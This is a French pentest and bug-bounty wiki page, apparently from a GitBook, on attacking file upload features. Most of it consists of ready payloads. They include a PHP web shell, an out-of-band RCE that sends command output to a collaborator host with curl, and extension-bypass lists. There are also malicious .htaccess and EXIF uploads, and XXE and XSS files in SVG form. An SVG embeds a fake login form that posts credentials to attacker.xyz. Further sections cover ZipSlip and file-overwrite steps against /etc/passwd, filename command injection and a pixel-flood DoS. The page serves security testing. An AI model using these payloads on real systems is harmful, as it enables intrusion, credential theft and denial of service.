Pentest & Bug Bounty
  • đŸ„·Pentest et Bug Bounty
    • đŸ‘ŸPentest Methodology
    • 💾Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧩Sock Puppet
    • 🧠Mindmaps
    • 🏱Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • đŸ‘„RĂ©seaux sociaux (SOCMINT)
      • đŸ•”ïžTelegram OSINT
      • đŸ‘»Snapchat OSINT
      • đŸ€”â€â™‚ïžLinkedin OSINT
      • đŸ—ŁïžFacebook OSINT
      • đŸŽŒTik tok OSINT
      • đŸ“·Instagram OSINT
      • 🐩Twitter OSINT
      • 🔊Discord OSINT
    • đŸ–‡ïžDomaines et Sous-domaines
    • đŸšȘScan de ports / web
    • ✉Emails
    • 🔗RĂ©seau
    • đŸ“·Screenshots
    • đŸ“čLive camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • đŸ—șMaps
    • đŸ‘ïžActive Directory
    • ☁Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • đŸȘXSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7ïžâƒŁSSTI
      • 🔱SQLi
        • đŸ‘«UNION based
        • ⏳Time based
        • đŸ„œBoolean based / Error Based
        • đŸ“€Out-Of-Band
      • ↩CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • đŸ„ CSV
      • đŸ»ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • â†ȘOpen redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • ă€°ïžWAF / Filter bypass
      • 22FA
    • ☠Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • đŸ–±ïžClickjacking
    • ⚙Insecure deserialization
    • â˜ŁïžWeb Cache Poisoning / Deception
    • đŸ€HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • đŸ—ïžJSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • đŸ•čSSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙APIs
      • đŸœïžREST
      • đŸ“¶GraphQL
    • ❓Mot de passe oubliĂ©
    • 🛒Fonctions d'achat et de facturation
    • đŸ‘œBroken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎼Prise de contrĂŽle de sous-domaine
    • 🛂Prise de contrĂŽle de DNS
    • ☝One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • đŸȘŁAWS S3
    • đŸ€–Captcha
    • đŸȘžRace conditions
    • ☄.git exposĂ©
    • 💭Business logic
    • đŸ„ĄPrototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • đŸ€ŻReDoS
      • 👏Hash flooding
      • 🧹Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • đŸŒ©ïžPentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • đŸ•žïžPentest RĂ©seau
    • đŸȘĄProtocoles rĂ©seau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • đŸ—‚ïžPentest AD
    • đŸ‘șGPP
    • âžĄïžMouvements latĂ©raux
      • đŸ”ȘPass The Hash
      • đŸ—ĄïžOver Pass The Hash
    • 📜ADCS
  • đŸ“±Pentest Mobile
    • đŸ€–Android
      • đŸ‘ŸMĂ©thodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des donnĂ©es locales
      • 🔙Reverse engineering
        • đŸȘąDĂ©-obfuscation
      • ⛰Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de donnĂ©es non sĂ©curisĂ©
        • 📰Logs
        • đŸ€Shared Preferences
        • đŸ”€Strings
        • đŸ—„ïžSQLite DB
        • đŸ—ƒïžRealm DB
        • 🧠MĂ©moire
        • 📍Copy/Paste buffer caching
        • ⌚Keyboard press caching
        • 🔙Backup
        • Carte SD
      • đŸŒ©ïžFirebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • đŸ–ŒïžWebView vulns
        • WebView Hijacking
        • Exfiltration de donnĂ©es
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • đŸȘOutil Frida
        • Outil Medusa / Mango
      • Bypass
        • đŸ“ČContournement de dĂ©tection d'emulateur
          • 📂Fichiers d'emulateurs
          • đŸ™‹â€â™‚ïžNetwork Operator Name
        • đŸŠ·Contournement des dĂ©tections de rootage
          • 🧼Root management
          • đŸ—ïžClĂ© de signature du noyau
          • 🧊Props dangereux
          • đŸŠžâ€â™‚ïžBinaire "su"
          • ❌Permissions sur les repertoires
        • ☝Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • đŸȘ§Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • đŸ“”RĂ©silience
        • ⌚Third Party Keyboards
        • ©Allowed Copy/Paste on sensitive fields
        • đŸ›€ïžBackground screen caching
        • đŸ–‹ïžSchĂ©mas de signature
        • âŹ†ïžIn-App updates
      • đŸ€ŻCorruption de MĂ©moire
    • 🍏iOS
      • đŸ„…MĂ©thodologie
      • đŸ§±Setup environnement (iOS)
      • âźïžReverse engineering (iOS)
      • đŸ”ïžAnalyse statique (iOS)
      • 🧿Contournement de dĂ©tection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biomĂ©trique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de donnĂ©es non sĂ©curisĂ© (iOS)
        • 💭MĂ©moire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • đŸȘCookies (iOS)
        • đŸ—žïžLogs (iOS)
        • ⌚Cache du clavier (IOS)
        • Backup (IOS)
      • đŸ“±Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • đŸ‘·Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙Equipements
    • đŸ’ŸHardware Hacking
      • 📈UART
      • đŸ§ȘJTAG
      • ⚡SWD
      • đŸȘąSPI
      • 🚌IÂČC
      • 🔮Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • đŸ–šïžPentest IoT
    • âȘReplay de stream camera
    • đŸ—ŁïžAssistants vocaux
    • đŸ“čCamera IP
    • âŹ‡ïžDoS
    • đŸ–šïžImprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • đŸ˜©Telnet - port 23
    • 🔐SSH - port 22
    • đŸ“€FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍đŸŠșKerberos - port 88
    • đŸ’ŒSNMP - ports 161-162
    • 📹SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎩RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔱MS-SQL - port 1433
    • đŸ—ïžDocker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • đŸ–„ïžRDP - port 3389
    • ⌚VNC - ports 5800,5801,5900,5901
  • 😈IngĂ©nierie sociale
    • 🧠Concepts / Principes / Attaques
    • đŸȘ§Ethique
    • đŸ‘€Profils comportementaux
  • 🔓Crack
  • đŸ› ïžAutres outils utiles
    • 🚿Sandbox / Sanitizer
    • đŸ”€GĂ©nĂ©rateurs de wordlists personnalisĂ©es
  • 🌜Post-Exploitation
    • 👔ÉnumĂ©ration /ÉlĂ©vation de privilĂšges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • đŸȘŸWindows
        • đŸ–šïžPrintNightmare
        • đŸ–šïžSpoolFool
        • 🆔Usurpation de SAMAccountName
        • âČScheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • đŸŽ©SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • đŸ§©DLL Hijacking
        • ©SeBackupPrivilege
      • ⛎Docker
    • đŸ‘»Effacement des traces
    • ⚓Persistance / Downloaders
    • đŸ›ĄïžDefense evasion
    • 📩Exfiltration de DonnĂ©es
  • 🔎Forensic
    • 💡MĂ©thodologie
    • đŸ“șLive forensic
    • đŸ’»MĂ©moire non volatile
    • đŸ•ŠïžMĂ©moire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • Outils / Ressources
  • malicious-pdf
  • JS2PDFInjector
  • Web Shell upload
  • Contourner les vĂ©rifications d'extension
  • Contournement via normalisation
  • Directory traversal
  • Utiliser .htaccess
  • Payload dans les donnĂ©es EXIF
  • XSS
  • SSRF
  • XXE
  • Dans fichier SVG
  • Dans fichiers PPTX, DOCX, XLXS
  • SVG => HTMLi => ATO
  • CSRF
  • Fuite de mĂ©tadonnĂ©es Exif
  • Open redirect via SVG upload
  • Exploitation avec le nom de fichier
  • ZipSlip attack
  • File Overwrite
  • Windows ADS
  • Pixel Flood Attack (DoS)
  • Race condition

Cet article vous a-t-il été utile ?

  1. Pentest Web

Upload features

PrécédentPanneaux d'administrationSuivantBroken Link Hijacking

DerniĂšre mise Ă  jour il y a 1 an

Cet article vous a-t-il été utile ?

Outils / Ressources

Liste perso:

malicious-pdf

malicious-pdf est un outil permettant de generer plusieurs fichiers PDF contenant un canary de votre choix.

Utilisation:

$ python3 malicious-pdf.py https://your-burp-collab.com

Ressource:

JS2PDFInjector

JS2PDFInjector est un outil permettant d'injecter facilement du code javascript dans un fichier PDF.

Utilisation:

$ java -jar JS2PDFInjector.jar <PDF FILE> <JS FILE>

Ressource:

Web Shell upload

L'exécution de code à distance est l'une des attaques les plus intéressantes qui viennent à l'esprit chaque fois qu'il existe une fonctionnalité de téléchargement de fichiers. Il existe plusieurs façons d'exécuter une exécution de code avec des fichiers malveillants, l'une des plus courantes consiste à télécharger un shell et à obtenir un accÚs supplémentaire.

Simple shell PHP pour RCE:

<?php system($_GET['cmd']);?>

OOB RCE:

<?php system('curl https://your.burp.collab.com -d data=$(id)");?>

Information disclosure:

<?php phpinfo(); ?>

Le but est d'essayez de télécharger ce code avec l'extension .php et essayez de localiser et de récupérer le fichier php à partir de l'application. Dans l'url du fichier, vous pouvez ajouter le paramÚtre 'cmd' avec lequel vous pouvez entrer des commandes.

Bien sûr aujourd'hui il existe énormément de façon de se protéger de ce type d'attaque et tout autant de maniÚres de contourner ces protections.

Contourner les vérifications d'extension

# Avec des majuscules
file.pHp
file.Php
...

# Avec des caractÚres spéciaux
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....

# + Double - Triple extension 
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg

Akamai WAF bypass: cmd.jpg.aspx. (Avec un point au bout)

Il est Ă©galement possible de changer le type MIME de l'image directement dans la requĂȘte http avec burp suite.

Contournement via normalisation

?file===shell.php

Directory traversal

Vous pouvez aussi essayer de changer le nom du fichier uploadé pour du directory traversal.

Content-Disposition: form-data; name="avatar"; filename="exploit.php"

Content-Disposition: form-data; name="avatar"; filename="../exploit.php"

Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"

Utiliser .htaccess

le fichier .htaccess permet dans les serveurs HTTP Apache de modifier les paramÚtres de sécurité de ceux-ci. Dans l'exemple ci-dessous, nous allons voir qu'il est parfois possible d'uploader un faux fichier .htaccess contenant des configurations malveillantes dans un contexte de file upload pour permettre d'uploader un fichier .php en utilisant une extension qui ne serait pas blacklisté.

Etapes:

  • Interception d'une fonction d'upload

Exemple:

POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename="image.jpeg"
Content-Type: image/jpeg

content
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

user
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
  • Upload du faux fichier .htaccess

POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: plain/text

AddType application/x-httpd-php .test  #Si on utilise une extension .test elle sera considéré comme du php
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

user
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
  • Upload du fichier "php" avec l'extension configurĂ©e.

POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename="shell.test"
Content-Type: image/jpeg

<?php echo file_get_contents('../../../etc/passwd'); ?>
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--

Payload dans les données EXIF

On peut utiliser l'outil exiftool pour modifier ces données par exemple.

$ exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" <YOUR-INPUT-IMAGE>.jpg -o secret.php

Site

XSS

Un téléchargement de fichier est une opportunité sérieuse de trouver des XSS vers une application Web.

A tester:

  • XSS via le nom de fichier

Exemple "><img src=x onerror=alert(document.domain)>.jpg

  • XSS via les mĂ©tadonnĂ©es

En utilisant exiftool, il est possible de modifier les mĂ©tadonnĂ©es EXIF ​​qui peuvent conduire Ă  une rĂ©flexion quelque part :

Exemple:

$ exiftool -Author="><img src=x onerror=alert(document.domain)>image.jpg

  • XSS via le fichier SVG

Si l'application permet le tĂ©lĂ©chargement d'une extension de fichier SVG (qui est Ă©galement un type d'image), un fichier avec le contenu suivant peut ĂȘtre utilisĂ© pour dĂ©clencher un XSS :

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

  • Blind XSS via SVG

  • XSS via PDF files upload

SSRF

Server-Side Request Forgery est l'une des vulnérabilités de sécurité les plus intéressantes et les plus percutantes. Une fonctionnalité de téléchargement de fichiers qui peut permettre l'utilisation de fichiers tels que des fichiers HTML ou SVG. Il peut s'agir d'une SSRF interne, d'une SSRF de métadonnées cloud ou simplement d'une SSRF externe.

  • SSRF via nom de fichier

Essayez d'envoyer l'URL en tant que nom de fichier pour obtenir un blind SSRF, par exemple filename=https://evil.com/internal/file . Vous pouvez Ă©galement essayer de changer type = "fichier" en type = "url" dans une requĂȘte.

  • SSRF via SVG upload

Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :

<svg width="200" heightĂš="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://target.com/image.jpg" height="200" width="200" /></svg>

  • SSRF via iframe en html

Essayez de télécharger ce code avec l'extension .html et récupérez le fichier html de l'application pour vérifer:

<html> <body> <iframe src=”http://evil.com" width=”500" height=”500"></iframe> </body> </html>

XXE

Dans fichier SVG

La fonctionnalité de téléchargement de fichiers ouvre la passerelle pour les entités externes XML, en particulier lorsque l'application accepte les formats de fichiers prenant en charge XML. Le format SVG utilisant XML, un attaquant peut soumettre une image SVG illicite et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.

Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>

Dans fichiers PPTX, DOCX, XLXS

  1. Dézipper le fichier

  2. Mettre le payload dans /word/document.xml, /ppt/presentation.xml ou /xl/workbook.xml suivant le type de fichier.

  3. Rezipper le fichier (exemple: $ zip -r document.docx)

Payload

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "https://your.burp.collab.com" > ]>

SVG => HTMLi => ATO

Fichier SVG:

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="https://attacker.xyz/fakelogin.html" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>

Créer une iframe intégrant https://attacker.xyz/fakelogin.html

PoC page de connexion fakelogin.html:

<h1>Victim login page copy</h1>
<form action="https://attacker.xyz" method="post">
<label for="email">Adresse e-mail:</label>
<input name="email">
<label for="password">Mot de Passe:</label>
<input type="password" name="password">
<input type="submit" value="Connexion"></form>

CSRF

Cross-Site Request Forgery (CSRF) est une attaque qui oblige les utilisateurs authentifiĂ©s Ă  soumettre une requĂȘte Ă  une application Web contre laquelle ils sont actuellement authentifiĂ©s. Il est possible d'effectuer des attaques CSRF sur les fonctionnalitĂ© de tĂ©lĂ©chargement de fichiers en crĂ©ant un formulaire HTML.

étapes:

  • Capturer la demande de formulaire de tĂ©lĂ©chargement

  • CrĂ©er un POC avec Burp CSRF POC

  • Ouvrir ce fichier HTML POC dans un compte diffĂ©rent lui mĂȘme dans un navigateur diffĂ©rent

  • Voir si le tĂ©lĂ©chargement du fichier rĂ©ussit dans un autre compte.

Fuite de métadonnées Exif

Cela se produit lorsqu'un utilisateur tĂ©lĂ©charge une image dans le site cible et que les donnĂ©es de mĂ©tadonnĂ©es EXIF ​​​​de l'image tĂ©lĂ©chargĂ©e ne sont pas supprimĂ©es. En consĂ©quence, n'importe qui peut obtenir des informations sensibles sur les utilisateurs du site comme leur gĂ©olocalisation, les informations sur leur appareil comme le nom de l'appareil, la version, la version du logiciel et du logiciel utilisĂ©, etc.

étapes:

  • Uploader une image sur le site cible.

  • TĂ©lĂ©charger l'image uploadĂ©.

Open redirect via SVG upload

possibilité de créer une charge utile qui redirige les utilisateurs vers un domaine contrÎlé par l'attaquant.

mĂȘme payload que pour SSRF.

Exploitation avec le nom de fichier

Voici quelques vulnĂ©rabilitĂ©s qui peuvent ĂȘtre exploitĂ©es en changeant le nom du fichier. C'est facile Ă  tester et cela vaut la peine de les tester. Vous pouvez changer le nom du fichier en nom suivant pour obtenir les bug respectifs.

Path traversal: ../../../tmp/test.png

Injection SQL: sleep(10) — -.jpg

OS injection: ;sleep 10;.jpg

DoS: renomer le nom du fichier avec un pattern trĂšs long

ZipSlip attack

Une archive peut contenir un lien symbolique. Un lien symbolique est un fichier spécial lié à un autre fichier. En téléchargeant un zip contenant un lien symbolique, et une fois le zip extrait, vous pouvez accéder au lien symbolique pour accéder aux fichiers auxquels vous ne devriez pas avoir accÚs. Pour ce faire, vous devez faire en sorte que votre lien symbolique pointe vers des fichiers en dehors de la racine Web, par exemple /etc/passwd.

Ces types de problÚmes surviennent généralement lorsqu'un développeur autorise l'acceptation d'un fichier zip dans notre fonctionnalité de téléchargement. Lorsqu'un utilisateur télécharge le fichier zip dans l'application, il prend simplement le fichier zip et extrait ses fichiers sans aucune validation.

étapes:

  • CrĂ©er un lien symbolique vers la ressource souhaitĂ©

Exemple: $ ln -s ../../../etc/passwd lien.txt

  • CrĂ©er un zip avec le lien symbolique créé

$ zip --symlinks exploit.zip lien.txt

  • Uploader le fichier exploit.zip sur le cite cible et l'ouvrir.

File Overwrite

L'Ă©crasement de fichier est une attaque intĂ©ressante lors du tĂ©lĂ©chargement du fichier lorsqu'un utilisateur peut contrĂŽler et dĂ©finir arbitrairement le chemin oĂč le fichier doit ĂȘtre stockĂ©. Cela peut ĂȘtre considĂ©rĂ© comme similaire aux attaques Zip Slip et Path Traversal, mais en supposant qu'il est possible de tĂ©lĂ©charger directement un fichier et de modifier son chemin pour Ă©craser un fichier systĂšme existant, cela reste un problĂšme distinct.

étapes:

  • CrĂ©ez n'importe quel fichier systĂšme tel que /etc/passwd.

  • AccĂ©dez Ă  la fonctionnalitĂ© de tĂ©lĂ©chargement de fichier et uploader ce fichier tout en capturant la demande avec Burp Suite.

# Exemple
POST /upload
Host: target.com
....
other headers
....filename=/etc/passwd&content={file_content}
  • Modifiez maintenant cette requĂȘte en modifiant le paramĂštre de nom de fichier en ../../../../etc/passwd.

POST /upload
Host: target.com
....
other headers
....filename=../../../../etc/passwd&content={file_content}
  • Si le tĂ©lĂ©chargement rĂ©ussit, actualisez l'application et observez s'il y a un mauvais comportement ou un plantage pour confirmer la vulnĂ©rabilitĂ©.

Windows ADS

Un flux de données alternatif (ADS) est une fonctionnalité peu connue du systÚme de fichiers NTFS. Il a la capacité de forker des données dans un fichier existant sans changer sa taille de fichier ou sa fonctionnalité. En d'autres termes, ADS permet de cacher un fichier dans un autre.

Exemple:

C:> echo Somedata > file.txt
C:> type file.txt
Somedata
C:> type c:\windows\system32\calc.exe > file.txt:calc.exe

C:> start c:\file.txt:calc.exe

Pixel Flood Attack (DoS)

  • Aller sur https://www.resizepixel.com/ et redimensionnez une image en 64250*64250px.

  • AccĂ©dez Ă  l'application vulnĂ©rable ayant la possibilitĂ© de tĂ©lĂ©charger un fichier image.

  • TĂ©lĂ©chargez le fichier gĂ©nĂ©rĂ© Ă  partir de "l'Ă©tape 1" et observez la rĂ©ponse du serveur.

  • Si le serveur met trop de temps Ă  rĂ©pondre ou si l'application est devenue inaccessible, confirmez avec un autre appareil, si le problĂšme de dĂ©calage/accessibilitĂ© se produit, l'application est vulnĂ©rable Ă  l'attaque par inondation de pixels.

Tenter de contourner la validation via une race condition.

Vérifier si les métadonnées sont supprimés ou non avec exiftool ou le site .

🌐
⏬
https://github.com/mathis2001/Files-upload
https://github.com/jonaslejon/malicious-pdf
https://github.com/cornerpirate/JS2PDFInjector
https://www.metabaseq.com/imagemagick-zero-days/
https://aperisolve.fr/
Race condition
GitHub - luigigubello/PayloadsAllThePDFs: PDF Files for PentestingGitHub
Logo